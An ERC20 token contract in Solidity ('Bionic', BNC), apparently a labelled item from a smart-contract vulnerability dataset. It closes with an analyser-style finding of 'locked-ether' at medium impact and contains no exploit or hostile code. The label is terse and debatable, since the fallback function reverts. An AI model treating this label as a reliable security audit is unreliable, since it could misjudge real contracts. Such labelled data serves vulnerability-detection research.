// Name : Bionic
// Total supply: 1000000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bionic is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bionic() public {
symbol = "BNC";
name = "Bionic";
decimals = 8;
_totalSupply = 100000000000000000;
balances[0xdD2A5B646bb936CbC279CBE462E31eab2C309452] = _totalSupply;
Transfer(address(0), 0xdD2A5B646bb936CbC279CBE462E31eab2C309452, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
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